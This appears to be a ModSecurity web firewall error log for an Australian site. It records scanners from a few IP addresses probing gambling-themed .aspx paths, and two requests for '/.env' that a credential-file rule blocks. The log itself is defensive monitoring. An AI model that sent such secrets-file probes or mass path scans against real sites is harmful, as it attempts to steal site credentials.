[Thu Mar 12 09:44:05.723939 2026] [:error] [pid 8249:tid 8260] [client 51.83.7.81:51920] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abIaZSK5dL3-8Jdf0M3hqwAAAQk"]
[Thu Mar 12 09:44:08.108621 2026] [:error] [pid 51455:tid 51481] [client 51.83.7.81:51922] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abIaaJE0YyNxdg6PL_AdngAAABU"]
[Thu Mar 12 09:44:10.639769 2026] [:error] [pid 51455:tid 51466] [client 51.83.7.81:51926] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abIaapE0YyNxdg6PL_AdowAAAAY"]
[Thu Mar 12 09:44:13.167228 2026] [:error] [pid 51540:tid 51552] [client 51.83.7.81:51934] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abIabWOFFjotMIN2UD1twAAAAMo"]
[Thu Mar 12 09:44:15.534595 2026] [:error] [pid 11985:tid 12014] [client 51.83.7.81:38404] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abIab3cAcNujsOssVDfWtgAAAZc"]
[Thu Mar 12 09:44:17.896747 2026] [:error] [pid 8249:tid 8265] [client 51.83.7.81:38412] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abIacSK5dL3-8Jdf0M3hwwAAAQ4"]
[Thu Mar 12 09:44:20.378040 2026] [:error] [pid 11985:tid 11996] [client 51.83.7.81:38424] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abIadHcAcNujsOssVDfWuAAAAYU"]
[Thu Mar 12 09:44:22.894101 2026] [:error] [pid 51455:tid 51480] [client 51.83.7.81:38438] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abIadpE0YyNxdg6PL_Ad4QAAABQ"]
[Thu Mar 12 09:44:25.402871 2026] [:error] [pid 51455:tid 51473] [client 51.83.7.81:41436] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abIaeZE0YyNxdg6PL_Ad9gAAAA0"]
[Thu Mar 12 09:44:27.899391 2026] [:error] [pid 51540:tid 51542] [client 51.83.7.81:41450] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abIae2OFFjotMIN2UD1twwAAAMA"]
[Thu Mar 12 09:44:30.421978 2026] [:error] [pid 51455:tid 51482] [client 51.83.7.81:41460] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abIafpE0YyNxdg6PL_AeCQAAABY"]
[Thu Mar 12 09:44:32.930143 2026] [:error] [pid 22063:tid 22089] [client 51.83.7.81:41468] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abIagK0RUhS-MJyHWLR2KgAAAhg"]
[Thu Mar 12 09:44:35.317599 2026] [:error] [pid 51455:tid 51460] [client 51.83.7.81:56744] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abIag5E0YyNxdg6PL_AeFQAAAAA"]
[Thu Mar 12 09:44:37.824736 2026] [:error] [pid 8249:tid 8268] [client 51.83.7.81:56760] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abIahSK5dL3-8Jdf0M3h6gAAARE"]
[Thu Mar 12 09:44:40.339889 2026] [:error] [pid 8249:tid 8261] [client 51.83.7.81:56764] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abIaiCK5dL3-8Jdf0M3h9AAAAQo"]
[Thu Mar 12 09:44:42.676098 2026] [:error] [pid 8249:tid 8252] [client 51.83.7.81:56776] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abIaiiK5dL3-8Jdf0M3h9wAAAQE"]
[Thu Mar 12 09:44:45.204134 2026] [:error] [pid 22063:tid 22067] [client 51.83.7.81:34152] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abIaja0RUhS-MJyHWLR2MQAAAgI"]
[Thu Mar 12 09:44:47.732565 2026] [:error] [pid 11986:tid 12035] [client 51.83.7.81:34156] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abIajzKqY2w-DVCrxTCa6QAAAdE"]
[Thu Mar 12 09:44:50.144755 2026] [:error] [pid 51455:tid 51479] [client 51.83.7.81:34162] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abIakpE0YyNxdg6PL_AeVgAAABM"]
[Thu Mar 12 09:45:35.640752 2026] [:error] [pid 51455:tid 51464] [client 51.83.7.81:34170] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abIav5E0YyNxdg6PL_AekwAAAAQ"]
[Thu Mar 12 09:45:38.107968 2026] [:error] [pid 22063:tid 22074] [client 51.83.7.81:53546] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abIawq0RUhS-MJyHWLR2XAAAAgk"]
[Thu Mar 12 09:45:40.581177 2026] [:error] [pid 51456:tid 51492] [client 51.83.7.81:53560] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abIaxBXu8LzVixNGr0s8gQAAAEU"]
[Thu Mar 12 09:45:42.974454 2026] [:error] [pid 11985:tid 11995] [client 51.83.7.81:53564] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abIaxncAcNujsOssVDfWzQAAAYQ"]
[Thu Mar 12 09:45:45.298219 2026] [:error] [pid 51455:tid 51465] [client 51.83.7.81:38904] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abIayZE0YyNxdg6PL_AeowAAAAU"]
[Thu Mar 12 09:45:47.795503 2026] [:error] [pid 51455:tid 51483] [client 51.83.7.81:38908] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abIay5E0YyNxdg6PL_AeqQAAABc"]
[Thu Mar 12 09:45:50.307829 2026] [:error] [pid 11953:tid 11966] [client 51.83.7.81:38920] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abIazpudzqsnq3bvtDbxdwAAAUs"]
[Thu Mar 12 09:45:52.826225 2026] [:error] [pid 8249:tid 8274] [client 51.83.7.81:38932] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abIa0CK5dL3-8Jdf0M3iQQAAARc"]
[Thu Mar 12 09:45:55.316315 2026] [:error] [pid 11986:tid 12035] [client 51.83.7.81:33326] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abIa0zKqY2w-DVCrxTCbEAAAAdE"]
[Thu Mar 12 09:45:57.791572 2026] [:error] [pid 22063:tid 22075] [client 51.83.7.81:33330] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abIa1a0RUhS-MJyHWLR2ZgAAAgo"]
[Thu Mar 12 09:46:00.137135 2026] [:error] [pid 11985:tid 11991] [client 51.83.7.81:33344] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abIa2HcAcNujsOssVDfW1QAAAYA"]
[Thu Mar 12 09:46:02.610521 2026] [:error] [pid 22063:tid 22078] [client 51.83.7.81:33360] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abIa2q0RUhS-MJyHWLR2awAAAg0"]
[Thu Mar 12 09:46:04.948430 2026] [:error] [pid 22063:tid 22082] [client 51.83.7.81:50918] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abIa3K0RUhS-MJyHWLR2cAAAAhE"]
[Thu Mar 12 09:46:07.415658 2026] [:error] [pid 51540:tid 51555] [client 51.83.7.81:50924] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abIa32OFFjotMIN2UD1uKwAAAM0"]
[Thu Mar 12 10:44:27.022018 2026] [:error] [pid 8249:tid 8257] [client 104.28.210.148:25888] [client 104.28.210.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "abIoiyK5dL3-8Jdf0M33pAAAAQY"]
[Thu Mar 12 11:40:24.586543 2026] [:error] [pid 8249:tid 8268] [client 104.28.242.147:32129] [client 104.28.242.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "abI1qCK5dL3-8Jdf0M0OcAAAARE"]
[Thu Mar 12 12:59:51.235152 2026] [:error] [pid 8249:tid 8253] [client 54.36.60.45:47150] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abJIRyK5dL3-8Jdf0M1L5AAAAQI"]
[Thu Mar 12 12:59:53.699055 2026] [:error] [pid 51455:tid 51478] [client 54.36.60.45:50260] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abJISZE0YyNxdg6PL_CirgAAABI"]
[Thu Mar 12 12:59:56.114721 2026] [:error] [pid 8249:tid 8272] [client 54.36.60.45:39672] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abJITCK5dL3-8Jdf0M1L-gAAARU"]
[Thu Mar 12 12:59:58.556877 2026] [:error] [pid 22063:tid 22083] [client 54.36.60.45:39686] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abJITq0RUhS-MJyHWLS3PQAAAhI"]
[Thu Mar 12 13:00:00.959927 2026] [:error] [pid 8249:tid 8274] [client 54.36.60.45:39696] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abJIUCK5dL3-8Jdf0M1MCwAAARc"]
[Thu Mar 12 13:00:03.467250 2026] [:error] [pid 51540:tid 51551] [client 54.36.60.45:39712] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abJIU2OFFjotMIN2UD2dFQAAAMk"]
[Thu Mar 12 13:00:06.009938 2026] [:error] [pid 11986:tid 12025] [client 54.36.60.45:35474] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abJIVjKqY2w-DVCrxTC8AwAAAcc"]
[Thu Mar 12 13:00:08.436906 2026] [:error] [pid 11986:tid 12036] [client 54.36.60.45:35484] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abJIWDKqY2w-DVCrxTC8BAAAAdI"]
[Thu Mar 12 13:00:11.048255 2026] [:error] [pid 51540:tid 51543] [client 54.36.60.45:35500] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abJIW2OFFjotMIN2UD2dGAAAAME"]
[Thu Mar 12 13:00:13.420878 2026] [:error] [pid 8249:tid 8251] [client 54.36.60.45:35512] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abJIXSK5dL3-8Jdf0M1MTAAAAQA"]
[Thu Mar 12 13:00:15.995932 2026] [:error] [pid 51456:tid 51487] [client 54.36.60.45:47284] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abJIXxXu8LzVixNGr0tI2wAAAEA"]
[Thu Mar 12 13:00:18.408442 2026] [:error] [pid 8249:tid 8256] [client 54.36.60.45:47290] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abJIYiK5dL3-8Jdf0M1MnQAAAQU"]
[Thu Mar 12 13:00:20.943076 2026] [:error] [pid 51540:tid 51561] [client 54.36.60.45:47296] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abJIZGOFFjotMIN2UD2dTQAAANM"]
[Thu Mar 12 13:00:23.343160 2026] [:error] [pid 8249:tid 8260] [client 54.36.60.45:47308] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abJIZyK5dL3-8Jdf0M1MsAAAAQk"]
[Thu Mar 12 13:00:25.756817 2026] [:error] [pid 8249:tid 8269] [client 54.36.60.45:36218] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abJIaSK5dL3-8Jdf0M1MugAAARI"]
[Thu Mar 12 13:00:28.151250 2026] [:error] [pid 51455:tid 51483] [client 54.36.60.45:36224] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abJIbJE0YyNxdg6PL_Ci9QAAABc"]
[Thu Mar 12 13:00:30.549994 2026] [:error] [pid 22063:tid 22072] [client 54.36.60.45:36238] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abJIbq0RUhS-MJyHWLS3gAAAAgc"]
[Thu Mar 12 13:00:32.972918 2026] [:error] [pid 51455:tid 51483] [client 54.36.60.45:36242] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abJIcJE0YyNxdg6PL_Ci-wAAABc"]
[Thu Mar 12 13:00:35.496040 2026] [:error] [pid 22063:tid 22086] [client 54.36.60.45:37826] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abJIc60RUhS-MJyHWLS3hQAAAhU"]
[Thu Mar 12 13:00:37.912854 2026] [:error] [pid 51455:tid 51470] [client 54.36.60.45:37834] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abJIdZE0YyNxdg6PL_CjAgAAAAo"]
